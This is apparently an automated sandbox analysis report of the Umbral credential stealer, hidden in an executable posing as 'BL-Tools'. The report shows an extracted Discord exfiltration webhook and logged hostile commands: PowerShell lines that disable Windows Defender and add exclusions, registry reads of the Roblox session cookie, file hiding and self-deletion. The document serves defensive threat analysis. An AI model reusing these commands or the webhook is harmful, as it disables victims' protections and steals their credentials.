umbral | aa23463d85a070a894711f628356694599b8eeca33e3e3dc161f2ef765932235

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15-07-2024 05:53

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General

Target

BL-Tools-v2.8.3.exe
Size

6.4MB
MD5

3488ad52666afe9800364a9c34f9725d
SHA1

3412ee1bb608e54b5c80c210432ca23c0c3dd766
SHA256

aa23463d85a070a894711f628356694599b8eeca33e3e3dc161f2ef765932235
SHA512

e5f42f9f71557720cb7072a37107be5224020dfa94a49a42a56107b0bd8be84aef28f9191705966861fdd6b7a50ff379c3fc36bd2f56e194142711fe9790d06a
SSDEEP

196608:cLzA2rwXK0ARSWsQPQJvCvHm9EVi9RZckSIJH:0HkKvwxQjHmuiTZckS

Score

10^/10

umbral execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1252474399957848134/ilQm28lxIOrQeOQaL1rqkItSyclk6EIc_o-hRhExVNFtMZ2xF_oiylm7nsP-jUa248ZH

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000001961b-20.dat	family_umbral
behavioral1/memory/2760-23-0x0000000000B20000-0x0000000000B60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 2 IoCs

pid	Process
2632	BLTools 2.8.4 FIX.exe
2760	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	discord.com
11	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2632	BLTools 2.8.4 FIX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1940	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1464	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2760	Umbral.exe
2572	powershell.exe
2424	powershell.exe
1420	powershell.exe
1700	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	BL-Tools-v2.8.3.exe
Token: SeDebugPrivilege	2760	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2524	wmic.exe
Token: SeSecurityPrivilege	2524	wmic.exe
Token: SeTakeOwnershipPrivilege	2524	wmic.exe
Token: SeLoadDriverPrivilege	2524	wmic.exe
Token: SeSystemProfilePrivilege	2524	wmic.exe
Token: SeSystemtimePrivilege	2524	wmic.exe
Token: SeProfSingleProcessPrivilege	2524	wmic.exe
Token: SeIncBasePriorityPrivilege	2524	wmic.exe
Token: SeCreatePagefilePrivilege	2524	wmic.exe
Token: SeBackupPrivilege	2524	wmic.exe
Token: SeRestorePrivilege	2524	wmic.exe
Token: SeShutdownPrivilege	2524	wmic.exe
Token: SeDebugPrivilege	2524	wmic.exe
Token: SeSystemEnvironmentPrivilege	2524	wmic.exe
Token: SeRemoteShutdownPrivilege	2524	wmic.exe
Token: SeUndockPrivilege	2524	wmic.exe
Token: SeManageVolumePrivilege	2524	wmic.exe
Token: 33	2524	wmic.exe
Token: 34	2524	wmic.exe
Token: 35	2524	wmic.exe
Token: SeIncreaseQuotaPrivilege	2524	wmic.exe
Token: SeSecurityPrivilege	2524	wmic.exe
Token: SeTakeOwnershipPrivilege	2524	wmic.exe
Token: SeLoadDriverPrivilege	2524	wmic.exe
Token: SeSystemProfilePrivilege	2524	wmic.exe
Token: SeSystemtimePrivilege	2524	wmic.exe
Token: SeProfSingleProcessPrivilege	2524	wmic.exe
Token: SeIncBasePriorityPrivilege	2524	wmic.exe
Token: SeCreatePagefilePrivilege	2524	wmic.exe
Token: SeBackupPrivilege	2524	wmic.exe
Token: SeRestorePrivilege	2524	wmic.exe
Token: SeShutdownPrivilege	2524	wmic.exe
Token: SeDebugPrivilege	2524	wmic.exe
Token: SeSystemEnvironmentPrivilege	2524	wmic.exe
Token: SeRemoteShutdownPrivilege	2524	wmic.exe
Token: SeUndockPrivilege	2524	wmic.exe
Token: SeManageVolumePrivilege	2524	wmic.exe
Token: 33	2524	wmic.exe
Token: 34	2524	wmic.exe
Token: 35	2524	wmic.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeIncreaseQuotaPrivilege	1220	wmic.exe
Token: SeSecurityPrivilege	1220	wmic.exe
Token: SeTakeOwnershipPrivilege	1220	wmic.exe
Token: SeLoadDriverPrivilege	1220	wmic.exe
Token: SeSystemProfilePrivilege	1220	wmic.exe
Token: SeSystemtimePrivilege	1220	wmic.exe
Token: SeProfSingleProcessPrivilege	1220	wmic.exe
Token: SeIncBasePriorityPrivilege	1220	wmic.exe
Token: SeCreatePagefilePrivilege	1220	wmic.exe
Token: SeBackupPrivilege	1220	wmic.exe
Token: SeRestorePrivilege	1220	wmic.exe
Token: SeShutdownPrivilege	1220	wmic.exe
Token: SeDebugPrivilege	1220	wmic.exe
Token: SeSystemEnvironmentPrivilege	1220	wmic.exe
Token: SeRemoteShutdownPrivilege	1220	wmic.exe
Token: SeUndockPrivilege	1220	wmic.exe
Token: SeManageVolumePrivilege	1220	wmic.exe
Token: 33	1220	wmic.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2632	2232	BL-Tools-v2.8.3.exe	32
PID 2232 wrote to memory of 2632	2232	BL-Tools-v2.8.3.exe	32
PID 2232 wrote to memory of 2632	2232	BL-Tools-v2.8.3.exe	32
PID 2232 wrote to memory of 2632	2232	BL-Tools-v2.8.3.exe	32
PID 2232 wrote to memory of 2760	2232	BL-Tools-v2.8.3.exe	33
PID 2232 wrote to memory of 2760	2232	BL-Tools-v2.8.3.exe	33
PID 2232 wrote to memory of 2760	2232	BL-Tools-v2.8.3.exe	33
PID 2760 wrote to memory of 2524	2760	Umbral.exe	34
PID 2760 wrote to memory of 2524	2760	Umbral.exe	34
PID 2760 wrote to memory of 2524	2760	Umbral.exe	34
PID 2760 wrote to memory of 2644	2760	Umbral.exe	36
PID 2760 wrote to memory of 2644	2760	Umbral.exe	36
PID 2760 wrote to memory of 2644	2760	Umbral.exe	36
PID 2760 wrote to memory of 2572	2760	Umbral.exe	38
PID 2760 wrote to memory of 2572	2760	Umbral.exe	38
PID 2760 wrote to memory of 2572	2760	Umbral.exe	38
PID 2760 wrote to memory of 2424	2760	Umbral.exe	40
PID 2760 wrote to memory of 2424	2760	Umbral.exe	40
PID 2760 wrote to memory of 2424	2760	Umbral.exe	40
PID 2760 wrote to memory of 1420	2760	Umbral.exe	42
PID 2760 wrote to memory of 1420	2760	Umbral.exe	42
PID 2760 wrote to memory of 1420	2760	Umbral.exe	42
PID 2760 wrote to memory of 1700	2760	Umbral.exe	44
PID 2760 wrote to memory of 1700	2760	Umbral.exe	44
PID 2760 wrote to memory of 1700	2760	Umbral.exe	44
PID 2760 wrote to memory of 1220	2760	Umbral.exe	46
PID 2760 wrote to memory of 1220	2760	Umbral.exe	46
PID 2760 wrote to memory of 1220	2760	Umbral.exe	46
PID 2760 wrote to memory of 2140	2760	Umbral.exe	48
PID 2760 wrote to memory of 2140	2760	Umbral.exe	48
PID 2760 wrote to memory of 2140	2760	Umbral.exe	48
PID 2760 wrote to memory of 444	2760	Umbral.exe	50
PID 2760 wrote to memory of 444	2760	Umbral.exe	50
PID 2760 wrote to memory of 444	2760	Umbral.exe	50
PID 2760 wrote to memory of 2200	2760	Umbral.exe	52
PID 2760 wrote to memory of 2200	2760	Umbral.exe	52
PID 2760 wrote to memory of 2200	2760	Umbral.exe	52
PID 2760 wrote to memory of 1940	2760	Umbral.exe	54
PID 2760 wrote to memory of 1940	2760	Umbral.exe	54
PID 2760 wrote to memory of 1940	2760	Umbral.exe	54
PID 2760 wrote to memory of 1392	2760	Umbral.exe	56
PID 2760 wrote to memory of 1392	2760	Umbral.exe	56
PID 2760 wrote to memory of 1392	2760	Umbral.exe	56
PID 1392 wrote to memory of 1464	1392	cmd.exe	58
PID 1392 wrote to memory of 1464	1392	cmd.exe	58
PID 1392 wrote to memory of 1464	1392	cmd.exe	58

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2644	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe
"C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe
  "C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2632
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1220
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2140
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2200
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1940
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1392
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:1464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe

Filesize
3.1MB

MD5
fe611814d50bd962d1d85e3fb7425ff8

SHA1
25ca8e5f48d694d4f715bf5a299062f4a979aefd

SHA256
747072a4094dd0004d84abd221863ca2db676853c5ca27dd9b962650790a6472

SHA512
a7a8dad9e6fdfd515203d6165fd9a89902c9d82adaa4bd24992a6e991501317bafaa3066ebbae17ecf0223e7a25aacc098c3449fa7533529c2eba79acf85ef14

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
4a2673a8ceb3c0afb830cb145d1bb9fe

SHA1
8b12f4955e53b2fdb150cf29aa9fc01e8937c14e

SHA256
4cb6bb75074c44c2a773918ae253e711c364d17519f903e3bcb6c4c50747f279

SHA512
4b41674a2a691b0b5cf80e3768ca8add7971fc94b812c06c102be3075bfcb859a62fb11bd87880d05239f03e09bb3d627e26d4eebc9f97a83139b62b04304f77

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f6a1a8b89b8343977031a1f54b2d9766

SHA1
92854fe6eba75bf9197cdae201aeb26e03b3e139

SHA256
231e9df8a2d5ec1091743b976e7b4ef894baa3fe0ca908c32a5e8614a4d7cc56

SHA512
b6793737f20c2d6794206704ff88acb1f0099918e57d1ce6c8313c8fdf4d602f7e7a5770cdb022e2955c3d9473ca1d79512b5542804f8da68eb6940220dca3e6

Download Submit
memory/2200-68-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2232-0-0x000007FEF5853000-0x000007FEF5854000-memory.dmp

Filesize
4KB

Download
memory/2232-24-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2232-2-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2232-1-0x0000000000CD0000-0x000000000133E000-memory.dmp

Filesize
6.4MB

Download
memory/2424-39-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2424-40-0x0000000002850000-0x0000000002858000-memory.dmp

Filesize
32KB

Download
memory/2572-32-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2572-33-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2632-26-0x0000000000290000-0x00000000009B0000-memory.dmp

Filesize
7.1MB

Download
memory/2632-27-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download
memory/2760-23-0x0000000000B20000-0x0000000000B60000-memory.dmp

Filesize
256KB

Download
memory/2760-25-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2760-72-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download